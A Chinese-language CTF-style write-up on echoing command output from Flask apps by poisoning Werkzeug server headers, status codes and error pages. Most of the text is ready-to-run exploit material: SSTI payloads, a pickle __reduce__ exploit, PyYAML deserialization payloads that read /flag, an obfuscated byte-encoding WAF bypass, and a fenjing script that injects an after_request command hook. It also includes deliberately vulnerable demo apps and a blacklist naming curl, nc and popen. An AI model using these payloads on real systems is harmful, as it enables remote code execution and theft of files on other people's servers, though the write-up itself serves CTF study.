flask新回显方式

前言

flask请求头回显的学习和探究如何进行错误页面污染回显

Jinja2-SSTI通过Server请求头带出命令回显

Jinja2-SSTI 新回显方式技术学习

在先知社区拜读了上面三篇文章，原理其实就是污染HTTP响应头和错误页面为我们命令执行的结果。

但是这三篇文章讲的都是基于SSTI的污染，如果是其他漏洞场景呢，比如反序列化、代码执行。

强网杯线下赛有一道pyramid的题，漏洞点存在于exec()，有种方法就是污染响应内容。所以我们可以把基于SSTI污染的payload先改成exec可以执行的代码。

关于SSTI回显分析的过程不再演示，参考上面三篇文章就行，先附上基于SSTI污染的payload。

SSTI

server_version

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

sys_version

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

http protocol_version

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

状态码

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__.__import__('base64').b64encode(url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()).decode())}}

500页面

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

404页面

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

exec

demo

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/e',methods=['GET','POST'])
def e():
    p0 = request.args.get("p0")
    exec(p0)
    return "success"

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0", port=1337)

然后把payload改成exec可以直接执行的代码，其实也就是从相应模块中导入类，再使用setattr把类中对应的属性污染为我们命令执行的结果。

server_version

from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "server_version", os.popen('whoami').read().strip())

sys_version

from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "sys_version", os.popen('whoami').read().strip())

http protocol_version

from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "protocol_version", os.popen('whoami').read().strip())

状态码

from werkzeug.wrappers import Response; import os; import base64; setattr(Response, 'default_status', base64.b64encode(os.popen('whoami').read().encode()).decode())

500页面

from werkzeug.exceptions import InternalServerError; import os; setattr(InternalServerError, "description", os.popen('whoami').read().strip())

404页面

from werkzeug.exceptions import NotFound; import os; setattr(NotFound, "description", os.popen('whoami').read().strip())

Pickle反序列化

上面已经构造出了exec可以执行的代码，那么这个payload同样在pickle反序列化也是可以使用的，前提是通过exec执行。

demo

import base64

from flask import Flask, request
import pickle

app = Flask(__name__)

@app.route('/',methods=['GET','POST'])
def index():
    p = request.args.get('p')
    pickle.loads(base64.b64decode(p))
    return "success"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=1337)

exp

import base64
import pickle
class cmd():
    def __reduce__(self):
        return (exec,("from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, \"server_version\", os.popen('whoami').read().strip())",))
A= cmd()
print(base64.b64encode(pickle.dumps(A)))

污染成功

PyYaml反序列化

同样也是通过exec来执行

这里就以DASCTF2024最后一战yaml_master为例

import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()


    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))

@app.route('/')
def index():
    return '''
    Welcome to DASCTF X 0psu3
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/Yam1">Yam1</a>
    '''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            uploaded_file = request.files['file']

            if uploaded_file and is_yaml_file(uploaded_file.filename):
                file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
                uploaded_file.save(file_path)

                return jsonify({"message": "uploaded successfully"}), 200
            else:
                return jsonify({"error": "Just YAML file"}), 400

        except Exception as e:
            return jsonify({"error": str(e)}), 500


    return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'


if __name__ == '__main__':
    app.run()

open读文件，然后直接污染server_version

import requests


url = 'http://node5.buuoj.cn:29936/'


content="""!!python/object/new:type
    args:
     - exp
     - !!python/tuple []
     - {"extend": !!python/name:exec }
    listitems: |
     bb=open("/flag").read()
     import werkzeug
     setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )
 """

files = {'file': ('1.yaml', content, 'application/octet-stream')}

response = requests.post(url+'upload',  files=files)


print(response.status_code)
print(response.text)


res = requests.get(url=url+'Yam1?filename=1')
print(res.headers)

或者通过bytes绕过，rce读flag

exp = 'from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "sys_version", os.popen(\'cat /f*\').read().strip())'
print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

exp

import requests


url = 'http://node5.buuoj.cn:29936/'


content="""!!python/object/new:type
    args:
     - exp
     - !!python/tuple []
     - {"extend": !!python/name:exec }
    listitems: "exec(bytes([[j][0]for(i)in[range(138)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[102]]or[i]in[[1]]and[j]in[[114]]or[i]in[[2]]and[j]in[[111]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[32]]or[i]in[[5]]and[j]in[[119]]or[i]in[[6]]and[j]in[[101]]or[i]in[[7]]and[j]in[[114]]or[i]in[[8]]and[j]in[[107]]or[i]in[[9]]and[j]in[[122]]or[i]in[[10]]and[j]in[[101]]or[i]in[[11]]and[j]in[[117]]or[i]in[[12]]and[j]in[[103]]or[i]in[[13]]and[j]in[[46]]or[i]in[[14]]and[j]in[[115]]or[i]in[[15]]and[j]in[[101]]or[i]in[[16]]and[j]in[[114]]or[i]in[[17]]and[j]in[[118]]or[i]in[[18]]and[j]in[[105]]or[i]in[[19]]and[j]in[[110]]or[i]in[[20]]and[j]in[[103]]or[i]in[[21]]and[j]in[[32]]or[i]in[[22]]and[j]in[[105]]or[i]in[[23]]and[j]in[[109]]or[i]in[[24]]and[j]in[[112]]or[i]in[[25]]and[j]in[[111]]or[i]in[[26]]and[j]in[[114]]or[i]in[[27]]and[j]in[[116]]or[i]in[[28]]and[j]in[[32]]or[i]in[[29]]and[j]in[[87]]or[i]in[[30]]and[j]in[[83]]or[i]in[[31]]and[j]in[[71]]or[i]in[[32]]and[j]in[[73]]or[i]in[[33]]and[j]in[[82]]or[i]in[[34]]and[j]in[[101]]or[i]in[[35]]and[j]in[[113]]or[i]in[[36]]and[j]in[[117]]or[i]in[[37]]and[j]in[[101]]or[i]in[[38]]and[j]in[[115]]or[i]in[[39]]and[j]in[[116]]or[i]in[[40]]and[j]in[[72]]or[i]in[[41]]and[j]in[[97]]or[i]in[[42]]and[j]in[[110]]or[i]in[[43]]and[j]in[[100]]or[i]in[[44]]and[j]in[[108]]or[i]in[[45]]and[j]in[[101]]or[i]in[[46]]and[j]in[[114]]or[i]in[[47]]and[j]in[[59]]or[i]in[[48]]and[j]in[[32]]or[i]in[[49]]and[j]in[[105]]or[i]in[[50]]and[j]in[[109]]or[i]in[[51]]and[j]in[[112]]or[i]in[[52]]and[j]in[[111]]or[i]in[[53]]and[j]in[[114]]or[i]in[[54]]and[j]in[[116]]or[i]in[[55]]and[j]in[[32]]or[i]in[[56]]and[j]in[[111]]or[i]in[[57]]and[j]in[[115]]or[i]in[[58]]and[j]in[[59]]or[i]in[[59]]and[j]in[[32]]or[i]in[[60]]and[j]in[[115]]or[i]in[[61]]and[j]in[[101]]or[i]in[[62]]and[j]in[[116]]or[i]in[[63]]and[j]in[[97]]or[i]in[[64]]and[j]in[[116]]or[i]in[[65]]and[j]in[[116]]or[i]in[[66]]and[j]in[[114]]or[i]in[[67]]and[j]in[[40]]or[i]in[[68]]and[j]in[[87]]or[i]in[[69]]and[j]in[[83]]or[i]in[[70]]and[j]in[[71]]or[i]in[[71]]and[j]in[[73]]or[i]in[[72]]and[j]in[[82]]or[i]in[[73]]and[j]in[[101]]or[i]in[[74]]and[j]in[[113]]or[i]in[[75]]and[j]in[[117]]or[i]in[[76]]and[j]in[[101]]or[i]in[[77]]and[j]in[[115]]or[i]in[[78]]and[j]in[[116]]or[i]in[[79]]and[j]in[[72]]or[i]in[[80]]and[j]in[[97]]or[i]in[[81]]and[j]in[[110]]or[i]in[[82]]and[j]in[[100]]or[i]in[[83]]and[j]in[[108]]or[i]in[[84]]and[j]in[[101]]or[i]in[[85]]and[j]in[[114]]or[i]in[[86]]and[j]in[[44]]or[i]in[[87]]and[j]in[[32]]or[i]in[[88]]and[j]in[[34]]or[i]in[[89]]and[j]in[[115]]or[i]in[[90]]and[j]in[[121]]or[i]in[[91]]and[j]in[[115]]or[i]in[[92]]and[j]in[[95]]or[i]in[[93]]and[j]in[[118]]or[i]in[[94]]and[j]in[[101]]or[i]in[[95]]and[j]in[[114]]or[i]in[[96]]and[j]in[[115]]or[i]in[[97]]and[j]in[[105]]or[i]in[[98]]and[j]in[[111]]or[i]in[[99]]and[j]in[[110]]or[i]in[[100]]and[j]in[[34]]or[i]in[[101]]and[j]in[[44]]or[i]in[[102]]and[j]in[[32]]or[i]in[[103]]and[j]in[[111]]or[i]in[[104]]and[j]in[[115]]or[i]in[[105]]and[j]in[[46]]or[i]in[[106]]and[j]in[[112]]or[i]in[[107]]and[j]in[[111]]or[i]in[[108]]and[j]in[[112]]or[i]in[[109]]and[j]in[[101]]or[i]in[[110]]and[j]in[[110]]or[i]in[[111]]and[j]in[[40]]or[i]in[[112]]and[j]in[[39]]or[i]in[[113]]and[j]in[[99]]or[i]in[[114]]and[j]in[[97]]or[i]in[[115]]and[j]in[[116]]or[i]in[[116]]and[j]in[[32]]or[i]in[[117]]and[j]in[[47]]or[i]in[[118]]and[j]in[[102]]or[i]in[[119]]and[j]in[[42]]or[i]in[[120]]and[j]in[[39]]or[i]in[[121]]and[j]in[[41]]or[i]in[[122]]and[j]in[[46]]or[i]in[[123]]and[j]in[[114]]or[i]in[[124]]and[j]in[[101]]or[i]in[[125]]and[j]in[[97]]or[i]in[[126]]and[j]in[[100]]or[i]in[[127]]and[j]in[[40]]or[i]in[[128]]and[j]in[[41]]or[i]in[[129]]and[j]in[[46]]or[i]in[[130]]and[j]in[[115]]or[i]in[[131]]and[j]in[[116]]or[i]in[[132]]and[j]in[[114]]or[i]in[[133]]and[j]in[[105]]or[i]in[[134]]and[j]in[[112]]or[i]in[[135]]and[j]in[[40]]or[i]in[[136]]and[j]in[[41]]or[i]in[[137]]and[j]in[[41]]]))"
 """

files = {'file': ('1.yaml', content, 'application/octet-stream')}

response = requests.post(url+'upload',  files=files)


print(response.status_code)
print(response.text)


res = requests.get(url=url+'Yam1?filename=1')
print(res.headers)

污染+fenjing

还是回到SSTI，前面的SSTI Payload都是没有过滤的，既然我们已经构造出了exec可以执行的代码，那么就可以搭配fenjing写个绕过一把梭exp

import fenjing
import logging
import requests


logging.basicConfig(level=logging.INFO)


payload = r"""
[
    app.view_functions
    for app in [__import__('sys').modules["__main__"].app]
    for request in [__import__('sys').modules["__main__"].request]
    if [
        app.__dict__.update({'_got_first_request': False}),
        app.after_request_funcs.setdefault(None, []).append(
            lambda resp: exec(
                r"from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, 'server_version', os.popen('whoami').read().strip())"
            ) or resp
        )
    ]
]
"""


def waf(s):
    blacklist = [
        '\\', '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n', ' '
    ]
    return all(word not in s for word in blacklist)

if __name__ == '__main__':
    full_payload_gen = fenjing.FullPayloadGen(waf)
    exp, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.STRING, payload))
    print(exp)
    url = "http://127.0.0.1:5000/"
    r = requests.post(url=url, data={"code": exp})
    print(r.headers)
    print(r.text)

这里的黑名单是用的CISCN&CCB的Safe_Proxy，本地搭一下直接打

成功污染。